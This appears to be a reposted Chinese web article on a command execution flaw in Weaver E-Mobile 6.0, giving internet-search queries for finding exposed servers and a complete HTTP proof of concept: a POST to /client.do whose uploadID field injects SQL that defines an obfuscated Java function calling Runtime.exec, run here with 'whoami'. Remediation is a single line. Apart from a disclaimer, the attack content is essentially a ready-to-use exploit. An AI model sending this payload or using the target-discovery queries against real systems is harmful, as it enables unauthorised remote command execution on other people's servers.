当前位置: 首页 > news >正文

泛微E-Mobile 6.0命令执行漏洞

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、漏洞原理

泛微E-Mobile 6.0存在命令执行漏洞的问题,在某些情况下,用户的输入可能被直接传递给底层操作系统的命令执行函数,攻击者可以通过在输入中插入特殊字符或命令序列来欺骗应用程序将其作为有效命令来执行,从而获得服务器的命令执行权限。

二、网络空间测绘

fofa

"Weaver E-Mobile"

Hunter

web.body=Weaver E-Mobile

三、poc

POST /client.do HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Length: 1147------WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Disposition: form-data; name="method"getupload
------WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Disposition: form-data; name="uploadID"1';CREATE ALIAS if not exists MzSNqKsZTagmf AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL MzSNqKsZTagmf('whoami');--
------WebKitFormBoundaryTm8YXcJeyKDClbU7--

四、漏洞复现

先见一下面,访问漏洞环境

burp抓包,放poc,拿下

五、修复建议

 升级版本,低版本漏洞太多了

泛微e-office体验服务中心_泛微移动办公OA系统标准版_中小组织办公数字化产品

http://www.lryc.cn/news/224494.html

相关文章:

  • React 共享组件状态及其实践
  • linux目录说明
  • 成集云 | 英克对接零售O2O+线上商城 | 解决方案
  • java传base64返回给数据报404踩坑
  • 【Delphi】Android 开发HTTP请求出错解决方案
  • Kafka中遇到的错误:
  • 线程安全(JAVA)
  • Lightroom Classic 2021 v10.4
  • Java面试题03
  • 【操作系统】测试二
  • 大厂面试题-索引有哪些缺点以及具体有哪些索引类型
  • Vue真实技术面试题解析【兄弟组件、vue-router、增量部署】
  • 响应式生活常识新闻博客资讯网站模板源码带后台
  • 获取AAC音频的ADTS固定头部信息
  • 二分查找--C++实现
  • 计算机毕设 基于机器学习的文本聚类 - 可用于舆情分析
  • uniApp获取当前位置经纬度
  • this.$message提示内容添加换行
  • “三大阶段稳定性测试”筑牢长安链信任基石
  • 手把手教你如何扩展(破解)mybatisplus的sql生成 | 京东云技术团队
  • Spring Data JPA 项目配置与QueryDSL集成
  • UE5数字孪生制作-数据篇(二) - 数据处理
  • Java 设计模式——享元模式
  • 再扩国产化适配版图,长安链新增数据库兼容性认证
  • MES系统数据集成系统源码
  • 关于道一云-七巧使用感悟
  • 去中心化数据云项目Oort主网即将上线
  • CSS知识点梳理(一)
  • 网络安全深入学习第八课——反向代理(工具:frp)
  • 浅谈前端自定义VectorGrid矢量瓦片样式